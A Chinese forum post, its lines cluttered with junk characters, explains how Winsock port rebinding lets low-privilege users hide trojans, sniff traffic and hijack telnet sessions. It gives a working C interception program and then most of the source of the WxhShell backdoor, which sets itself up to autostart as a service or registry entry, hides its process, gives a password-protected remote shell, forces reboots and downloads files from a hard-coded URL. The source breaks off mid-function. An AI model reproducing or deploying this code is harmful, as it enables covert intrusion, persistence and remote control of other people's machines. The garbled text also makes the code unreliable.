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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z*},N$2=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |m's)  
i@rtt M  
  saddr.sin_family = AF_INET; Mq0MtC6-  
._rPM>B?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '4'Z  
0|AgmW_7 .  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yJ?=##  
PysDDU}v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yQhO-jT  
$ar^U  
  这意味着什么?意味着可以进行如下的攻击: m,HE4`g  
ai<qK3!O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 HYdM1s6vo  
sQgz}0_= )  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zH1 ;h  
kK75(x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }d. X2?  
YoKE=ln7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i9ySD  
B#g~c<4<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0qN`-0Yk  
_mm(W=KiL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yY8zTWji_  
Qz@_"wm[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KYiJXE[Q-  
EDnNS  
  #include z6`0Uv~  
  #include &2W"4SE]6  
  #include V?EX`2S  
  #include    mu\1hKq;B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f-M:ap(O  
  int main() $OZ= L  
  { gAqK/9;  
  WORD wVersionRequested; 63E6nW M  
  DWORD ret; $#rkvG_w  
  WSADATA wsaData; qm=U<'b^  
  BOOL val; h3`}{ w  
  SOCKADDR_IN saddr; ,>B11Z}PH  
  SOCKADDR_IN scaddr; Z )c\B  
  int err; Ck/44Wfej  
  SOCKET s; fTj@/"a  
  SOCKET sc; gXI-{R7Me  
  int caddsize; d[6 'w ?  
  HANDLE mt; D9+qT<ojN  
  DWORD tid;   WaB0?jI  
  wVersionRequested = MAKEWORD( 2, 2 ); r)gK5Mv  
  err = WSAStartup( wVersionRequested, &wsaData ); y,:WLk~  
  if ( err != 0 ) { HGYTh"R  
  printf("error!WSAStartup failed!\n"); >az~0PeEL  
  return -1; a#]V|1*O  
  } $ W7}Igx#  
  saddr.sin_family = AF_INET; j sPavY  
   ?>;b,^4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gGP6"|tc4  
ChK-L6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (xo`*Q,+  
  saddr.sin_port = htons(23); LAC&W;pJ"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yy3x]%KK  
  { ;O7"!\  
  printf("error!socket failed!\n"); v*V( hMy  
  return -1; xn`)I>v  
  } d92Z;FWb  
  val = TRUE; }-fHS;/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BWxfY^,'&6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O7 ;=g!j  
  { l 73% y  
  printf("error!setsockopt failed!\n"); H~yHSm 3  
  return -1; /xUF@%rT  
  } Q\4tzb]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E3 % ~!ZC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 brmS J7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \a+Q5g  
8-@@QZ\N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) YC1Bgz  
  { AO5&Y.A#  
  ret=GetLastError(); |tAkv  
  printf("error!bind failed!\n"); )p>Cf_[.  
  return -1; v]M:HzP  
  } 9`Qa/Y!  
  listen(s,2); z I2DQ] 9  
  while(1) R3G\Gchd  
  { f" Iui  
  caddsize = sizeof(scaddr); [~8U],?1  
  //接受连接请求 'd2 :a2C]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <TVJ9l  
  if(sc!=INVALID_SOCKET) ;j9%D`u<  
  { *OA(v^@tx7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _>vH%FY  
  if(mt==NULL) @RPQ 1da  
  { 2,:{ 5]Q$  
  printf("Thread Creat Failed!\n"); A8tJ&O rwY  
  break; \0 ~?i6o  
  } rf=l1GW  
  } <P#BQt f  
  CloseHandle(mt); [y8(v ~H  
  } QqQhQGV  
  closesocket(s); f$FO 1B)  
  WSACleanup(); d0B`5#4  
  return 0; bit|L7*14  
  }   /Pe xtj<  
  DWORD WINAPI ClientThread(LPVOID lpParam) E0I/]0  
  { _]@u)$  
  SOCKET ss = (SOCKET)lpParam; $,K@xq5  
  SOCKET sc; rG?5z"  
  unsigned char buf[4096]; w4P;Z-Cd  
  SOCKADDR_IN saddr; I8! .n  
  long num; GZi`jp  
  DWORD val; gM&O dT+i  
  DWORD ret; <n,QSy#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IoL P*D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *f 7rLM*  
  saddr.sin_family = AF_INET; 5Xr})%L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6/ 5c|  
  saddr.sin_port = htons(23); nl}LT/N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |yz[mP*;o  
  { FaCW +9B  
  printf("error!socket failed!\n"); 0 7Yak<+~  
  return -1; {d<XDx4`  
  } R]yce2w"z  
  val = 100; R ?s;L r  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D SX%SE)  
  { }>M\iPO.]*  
  ret = GetLastError(); ^1~lnD~0  
  return -1; b_`h2dUq  
  } kcUn GiP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k.b=EX|  
  { 9ye!kYF,  
  ret = GetLastError(); \FfqIc9;  
  return -1; +@]k[9  
  } :xHKbWz6j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4AzDWK@/  
  { |$ ^3 5F  
  printf("error!socket connect failed!\n"); AS]8rH  
  closesocket(sc); ;`/a. /bc  
  closesocket(ss); U%pB  
  return -1; s7n7u7$j  
  } s<LnUF1b  
  while(1) DTH}=r-  
  { f/c&Ya(D~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C$0u-Nx8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bM"?^\a&Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P>rRD`Yy\  
  num = recv(ss,buf,4096,0); g^H,EaPl  
  if(num>0) qqo#H O  
  send(sc,buf,num,0); l$1?@l$j  
  else if(num==0) ?,x\46]>_K  
  break; ~]?s A{  
  num = recv(sc,buf,4096,0); SW%}S*h  
  if(num>0) 5eL b/,R  
  send(ss,buf,num,0); Y2tVq})!  
  else if(num==0) QuEX|h,F  
  break; C9?mxa*z  
  } mS[``$Z\!  
  closesocket(ss); #lMcAYH,  
  closesocket(sc); ;`^_9 K  
  return 0 ; x2t&Wpvt  
  } sN8pwRjb  
##BbR  
D N)o|p  
========================================================== wbJBGT{sm  
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下边附上一个代码,,WXhSHELL  &lU\9  
q#AIN`H  
========================================================== 9]Ue%%vM  
h STcL:b   
#include "stdafx.h" ;o'r@4^&$R  
CyLwCS{V\  
#include <stdio.h> iS)-25M'  
#include <string.h> s<"|'~<n  
#include <windows.h> i`e[Vwe2x@  
#include <winsock2.h> ROn@tW  
#include <winsvc.h> UapU:>!"`  
#include <urlmon.h> VqvjOeCbH  
.'A1Eoo0d  
#pragma comment (lib, "Ws2_32.lib") 6)0.q|Q  
#pragma comment (lib, "urlmon.lib") V*PL_|Q5  
n%29WF6Zf  
#define MAX_USER   100 // 最大客户端连接数 )V~=B]  
#define BUF_SOCK   200 // sock buffer s}". po]  
#define KEY_BUFF   255 // 输入 buffer l0^cdl-  
#<==7X#  
#define REBOOT     0   // 重启 \,Ws=9f  
#define SHUTDOWN   1   // 关机 O$r/ {{I.  
n= 4  
#define DEF_PORT   5000 // 监听端口 FS=yc.Q_  
o}G`t Bz  
#define REG_LEN     16   // 注册表键长度 niCK(&z  
#define SVC_LEN     80   // NT服务名长度 2DPv7\fW  
RHBQgD$  
// 从dll定义API &-qQF`7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m W>Iib|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >v, si].  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y!oLNGY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }\S'oC\[  
zMA;1Na  
// wxhshell配置信息 wdP(MkaV  
struct WSCFG { N,K/Ya)1  
  int ws_port;         // 监听端口 wH!$TAZ:Yw  
  char ws_passstr[REG_LEN]; // 口令 j24 3oD  
  int ws_autoins;       // 安装标记, 1=yes 0=no mrRid}2  
  char ws_regname[REG_LEN]; // 注册表键名 izcaWt3 a  
  char ws_svcname[REG_LEN]; // 服务名 XX /s@C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 17?YN<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UJh;Hp:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1xEOYM)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =q]!"yU[d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9MfU{4:;I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yIn$ApSGY  
? -:2f#bC  
}; 11"r FZ  
W9w*=W )Z  
// default Wxhshell configuration @I-gs(  
struct WSCFG wscfg={DEF_PORT, AvrvBz[  
    "xuhuanlingzhe", .e0)@}Jv8>  
    1, bKmwXDv'  
    "Wxhshell", b9X*2pnWJ  
    "Wxhshell", aR6F%7gvz  
            "WxhShell Service", ^D+^~>f  
    "Wrsky Windows CmdShell Service", B%uY/Mwz$  
    "Please Input Your Password: ", k*)sz  
  1, YhV<.2^k  
  "http://www.wrsky.com/wxhshell.exe", "g5{NjimY  
  "Wxhshell.exe" \X&8EW  
    }; Z[IM\# "  
LWJ ?p-X  
// 消息定义模块 '42$O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I4jRz*Ufe?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {rR(K"M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }r@dZ Bp:  
char *msg_ws_ext="\n\rExit."; 9}9VZ r?  
char *msg_ws_end="\n\rQuit."; J6s]vV q"  
char *msg_ws_boot="\n\rReboot..."; -ymDRoi  
char *msg_ws_poff="\n\rShutdown..."; -MS#YcsV  
char *msg_ws_down="\n\rSave to "; ]87BP%G  
:sg}e  
char *msg_ws_err="\n\rErr!"; Dj96t5R  
char *msg_ws_ok="\n\rOK!"; )%Fwfb  
lvWwr!w  
char ExeFile[MAX_PATH]; M]r?m@)  
int nUser = 0; =w+8q1!o  
HANDLE handles[MAX_USER]; :K^J bQ  
int OsIsNt; V2}\]x'1  
PhC3F4  
SERVICE_STATUS       serviceStatus; :CE4< {V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KL=<s#  
U&WEe`XM  
// 函数声明 -%"PqA/1zj  
int Install(void); Oq.ss!/z  
int Uninstall(void); x ']'ODs  
int DownloadFile(char *sURL, SOCKET wsh); *KvD$(ny  
int Boot(int flag); c$ZV vu  
void HideProc(void); =^u;uS[IW  
int GetOsVer(void); {V6pC  
int Wxhshell(SOCKET wsl); G~<UP(G  
void TalkWithClient(void *cs); GA gTy  
int CmdShell(SOCKET sock); * $f`ouJl  
int StartFromService(void); ;B=aK"\  
int StartWxhshell(LPSTR lpCmdLine); ia'z9  
Q"qI'*Kgt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  viAAb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l{Df{1b.  
L_!ShE  
// 数据结构和表定义 oVy{~D=  
SERVICE_TABLE_ENTRY DispatchTable[] = FoK2h!_  
{ _F%`7j  
{wscfg.ws_svcname, NTServiceMain}, 4c< s"2F  
{NULL, NULL} #3qeRl  
}; nFn!6,>E  
NV4g5)D&L  
// 自我安装 tsc `u>  
int Install(void) >l &]Ho  
{ lNL=Yu2p_  
  char svExeFile[MAX_PATH]; xW`y7Q}p  
  HKEY key; \Vf:/9^  
  strcpy(svExeFile,ExeFile); g&FTX>wX  
g.Xk6"kO  
// 如果是win9x系统,修改注册表设为自启动 %)r ~GCd  
if(!OsIsNt) { r+FEgSDa]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gc|)4c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mtv8Bm=<  
  RegCloseKey(key); @[3c1B6K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S\TXx79PhC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *vaYI3{qN  
  RegCloseKey(key); Kn~Rck| ]  
  return 0; Zl5'%b$&  
    } @zg}x0]  
  } )J S6W  
} >-A@6Qe_  
else { )SmnLvL  
^OY]Y+S`Ox  
// 如果是NT以上系统,安装为系统服务 +%W8Juu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~(d {j}M>  
if (schSCManager!=0) 1/Ts .\K3  
{ _HUbE /  
  SC_HANDLE schService = CreateService Q6Gw!!Z5EA  
  ( zi-_l  
  schSCManager, #Lhv=0op  
  wscfg.ws_svcname, G|g^yaq>  
  wscfg.ws_svcdisp, nQc#AFg  
  SERVICE_ALL_ACCESS, @yuiNj .T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O]u'7nO{{  
  SERVICE_AUTO_START, "Q.*  
  SERVICE_ERROR_NORMAL, R_PF*q2 '  
  svExeFile, 5Kg'&B (  
  NULL, @oAz  
  NULL, SB\%"nnV  
  NULL, jn2=)KBa_  
  NULL, A"V mxP  
  NULL >7>I1  
  ); AYbO~_a\N  
  if (schService!=0) eQbHf  
  { +Y%6y]8  
  CloseServiceHandle(schService); IO+]^nY `  
  CloseServiceHandle(schSCManager); qNEp3WY:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "bo0O7InOV  
  strcat(svExeFile,wscfg.ws_svcname); o:@Q1+p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Urr%SIakvM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PE%$g\#?  
  RegCloseKey(key); 1)(>'pY  
  return 0; -* ,CMw  
    } $O%{l.-O  
  } nYyhQX~]B  
  CloseServiceHandle(schSCManager); @RoZd?  
} ^LMgOA(7  
} /5ZX6YkeH  
bKo %Ak,  
return 1; L!fTYX#K]  
} ote,`h  
Wgwd?@uK  
// 自我卸载  j#](Q!  
int Uninstall(void) i5 rkP`)j  
{ gfQ?k  
  HKEY key; W$c@C02<  
n<ZPWlJ  
if(!OsIsNt) { ,>  zEG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ||Zup\QB  
  RegDeleteValue(key,wscfg.ws_regname); 9@ tp#  
  RegCloseKey(key); V%s g+D2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L)sgW(@2  
  RegDeleteValue(key,wscfg.ws_regname); [qYr~:`-[  
  RegCloseKey(key); 5>x_G#W  
  return 0; ffrIi',@  
  } {OU|'  
} 8`q7Yss6F  
} TekUY m!G  
else { |mb2<!ag{  
7j]v_2S`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~e{ @5.g  
if (schSCManager!=0) 1 R5 pf  
{ ZwmucY%3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -#|D>  
  if (schService!=0) q A)O kR'm  
  { cr1x CPJj  
  if(DeleteService(schService)!=0) {  ?%,NOX  
  CloseServiceHandle(schService); ?{ir$M  
  CloseServiceHandle(schSCManager); (eN7s_  
  return 0; Cx7-I0!  
  } wcGK *sWG-  
  CloseServiceHandle(schService); $83B10OQ&L  
  } '/W$9jm  
  CloseServiceHandle(schSCManager); 8|a./%gixs  
} 3A7774n=P  
} F-yY(b]$  
/A=w`[<  
return 1; *%j$i_  
} Y=Vbs x  
% Y^J''  
// 从指定url下载文件 >Fel) a  
int DownloadFile(char *sURL, SOCKET wsh) </h^%mnd  
{ >L7s[vKn  
  HRESULT hr; COrk (V  
char seps[]= "/"; ~3&{`9Y  
char *token; @YJI'Hf67  
char *file; :D.0\.p  
char myURL[MAX_PATH]; z|l*5@p  
char myFILE[MAX_PATH]; + ?1GscJ   
4QL>LK  
strcpy(myURL,sURL); '%NglC[J  
  token=strtok(myURL,seps); AU{"G  
  while(token!=NULL) fr@F7s5}  
  { 9njwAKF?  
    file=token; !gsvF\XDM  
  token=strtok(NULL,seps); H];B?G';C  
  } G-aR%]7$g  
M+/xw8}a  
GetCurrentDirectory(MAX_PATH,myFILE); 'Uok<;  
strcat(myFILE, "\\"); mB?x_6#d9  
strcat(myFILE, file); 6  63o  
  send(wsh,myFILE,strlen(myFILE),0);  T{YZ`[  
send(wsh,"...",3,0); MY&Jdmga  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Swi# ^i  
  if(hr==S_OK) ($[wCHU`!  
return 0; }r:o8+4  
else T<AT&4  
return 1; 4fEDg{T  
}cKB)N BJb  
} pfA6?tP`  
zw0w."V  
// 系统电源模块 XX6Z|Y5.  
int Boot(int flag) 7>vm?a^D2&  
{ 8%?y)K^ D  
  HANDLE hToken; dUI5,3*  
  TOKEN_PRIVILEGES tkp; 'D\Q$q  
)Fw/Cu  
  if(OsIsNt) { _X6'u J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &p0e)o~Ux  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &d#R'Z  
    tkp.PrivilegeCount = 1; 8.E"[QktZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'rQ"Dc1D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A'WR!*Yt  
if(flag==REBOOT) { .g*j]!_]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7N.b-}$(  
  return 0; >DqF>w.1  
} :6^7l/p  
else { ?$r`T]>`2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \ mqx '  
  return 0; c8RJOc4X  
} }aCa2%  
  } #YUaM<O  
  else { 1<@SMcj>  
if(flag==REBOOT) { mkl{Tp*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,$P,x  
  return 0; FR&`R  
} 1H)mJVIKkB  
else { ~Bd=]a$mj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s\ IKSoE  
  return 0; *7BfK(9T  
} k ;WD[SV  
} /?\3%<vn  
G dgL}"*F  
return 1; F MfpjuHk  
} bS.w<V Ew  
DSGcxM+  
// win9x进程隐藏模块 )G? qX.D  
void HideProc(void) ^)VwxH:s  
{ :|7#D,2  
'`];=QY9pg  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B@,9Cx564  
  if ( hKernel != NULL ) {|;a?] ?  
  { D28`?B9 (  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8% @| /  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OMGggg  
    FreeLibrary(hKernel); G=dzP}B'WA  
  } $Y$9]G":  
G)3I+uxn  
return; 'j1e(wq  
} 5{Cz!ut;tE  
uOxHa>h  
// 获取操作系统版本 b}J%4Lx%m  
int GetOsVer(void) CSk]c9=  
{ dWqn7+:  
  OSVERSIONINFO winfo; l,ENMKA^D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sdu?#O+c1  
  GetVersionEx(&winfo); }`"`VLh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zed Fhm  
  return 1; nK&]8"  
  else ~j0rORy]  
  return 0; 'J|2c;M\x  
} B.z$0=b  
8v:{BHX  
// 客户端句柄模块 ?RRO  
int Wxhshell(SOCKET wsl) bOY;IB _  
{ gk]QR.  
  SOCKET wsh; \-<BUG]=  
  struct sockaddr_in client; c:[k+_Zr  
  DWORD myID; V+d_1] l  
Z$oy;j99y  
  while(nUser<MAX_USER) h}bfZL  
{ E?m~DYnU  
  int nSize=sizeof(client); q76POytV|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'CLZ7 pV  
  if(wsh==INVALID_SOCKET) return 1; qnm_#!&uHT  
(8nv&|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S_}`'Z )  
if(handles[nUser]==0) Cj5mM[:s  
  closesocket(wsh); :<% bAn  
else nHK(3Z4G  
  nUser++; V\~.  
  } 5dBftTv?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %36x'Dn ?  
}xZi Ct  
  return 0; &&ioGy}1  
} %p Wn9  
6iC>CY3CG  
// 关闭 socket bbm\y] !t  
void CloseIt(SOCKET wsh) 5*0zI\  
{ 0D-`>_  
closesocket(wsh); m 2H4V+M+  
nUser--; j!;LN)s@?  
ExitThread(0); W{p}N  
} LiJYyp  
.Po"qoGy  
// 客户端请求句柄 9tiZIm93]  
void TalkWithClient(void *cs) : =QX^*  
{ qHtQ4_Zn;  
R!nf^*~  
  SOCKET wsh=(SOCKET)cs; 1/_g36\l$  
  char pwd[SVC_LEN]; K!|eN_1A  
  char cmd[KEY_BUFF]; VK}4 <u  
char chr[1]; {@Wv@H+4  
int i,j; %idBR7?`g  
7Q 3!= b  
  while (nUser < MAX_USER) { 5=>1>HYM  
9>}&dQ8  
if(wscfg.ws_passstr) { %&ejO= r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cx}Yu8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J8|MK.oD  
  //ZeroMemory(pwd,KEY_BUFF); Daf|.5>(@  
      i=0; :uL<UD,vu3  
  while(i<SVC_LEN) { ;m/e|_4;y  
nF3}wCe)  
  // 设置超时 &|>@K#V8-;  
  fd_set FdRead; "hkcN+=  
  struct timeval TimeOut; =C\Tl-$\f  
  FD_ZERO(&FdRead); \Lx=iKs<  
  FD_SET(wsh,&FdRead); CK* * RZ  
  TimeOut.tv_sec=8; fv+]iK<{  
  TimeOut.tv_usec=0; >7U/TVd&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *dBy<dIy  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3bEcKA_z(  
y]9R#\P/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \i.]-k  
  pwd=chr[0]; >CB-a :  
  if(chr[0]==0xd || chr[0]==0xa) { obb%@S`  
  pwd=0; kUT2/3Vi  
  break; X2w)J?pv  
  } X+vKY  
  i++; I8H3*DE  
    } ^z,3#gK  
uU  d"l,V  
  // 如果是非法用户,关闭 socket qpQ;,8X-"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hA=uoe\  
} {DO9%ej)  
 F/Goq`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E0HqXd?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CTMC78=9}  
Nc[@QC{  
while(1) {  A l[ZU  
wO??"${OH  
  ZeroMemory(cmd,KEY_BUFF); K:Z$V  
7Sdo*z  
      // 自动支持客户端 telnet标准   wMa8HeBE\  
  j=0; n,I3\l9  
  while(j<KEY_BUFF) { >hunV'vu'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Z`=iia>  
  cmd[j]=chr[0]; y6(PG:L  
  if(chr[0]==0xa || chr[0]==0xd) { {!,K[QwcI  
  cmd[j]=0; 6<&~ R 3dQ  
  break; c3]t"TA,  
  } 0R x#Fm  
  j++;  ?kjQ_K  
    } >?g@Nt8  
j^G=9r[,  
  // 下载文件 >%/x~UFc5  
  if(strstr(cmd,"http://")) { yT ^x0?U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {16a P  
  if(DownloadFile(cmd,wsh)) WjD885Xo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ax@H^Gj@2  
  else z} fpV T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AD?zBg Zu  
  } O'4G'H)   
  else { k1&9 bgI  
`46~j  
    switch(cmd[0]) { g`fG84  
  *s6 x  
  // 帮助 zs$r>rlO  
  case '?': { $6"sRI6u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9A |A@E#  
    break; /=2aD5r  
  } _p$/.~Xo9  
  // 安装 jAJ='|[X\  
  case 'i': { cILS  
    if(Install()) 3Z*r#d$nh:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA=Z):w  
    else -()WTdIy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c~0kZA6  
    break; ~aC ?M&  
    } PD#,KqL:  
  // 卸载 fCt|8,-H  
  case 'r': { (j}7|*.  
    if(Uninstall()) v l"8Oi*r^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zlMh^+rMX  
    else Q)75?mn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %H{pU:[5*  
    break; ]r`;89:s>  
    } -K{R7  
  // 显示 wxhshell 所在路径 "vGh/sXW  
  case 'p': { 0C4eer+D  
    char svExeFile[MAX_PATH]; i/:L^SQAq  
    strcpy(svExeFile,"\n\r"); PMjNc_))  
      strcat(svExeFile,ExeFile); U[C>Aoze  
        send(wsh,svExeFile,strlen(svExeFile),0); 5|*{~O|  
    break; w8lrpbLh  
    } zx@!8Z  
  // 重启 <G pji5f2  
  case 'b': { SxF'2ii  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aH }/+Hu-  
    if(Boot(REBOOT)) $6Ma{rC|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qbyYNlXqm  
    else { \'|n.1Fr  
    closesocket(wsh); Jr!^9i2j'  
    ExitThread(0); t:wBh'K~R8  
    } CR4O#f8\  
    break; Avx`  
    } i'f w>-0  
  // 关机 M CC4'  
  case 'd': { 3.W[]zH/u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ERPg TZT  
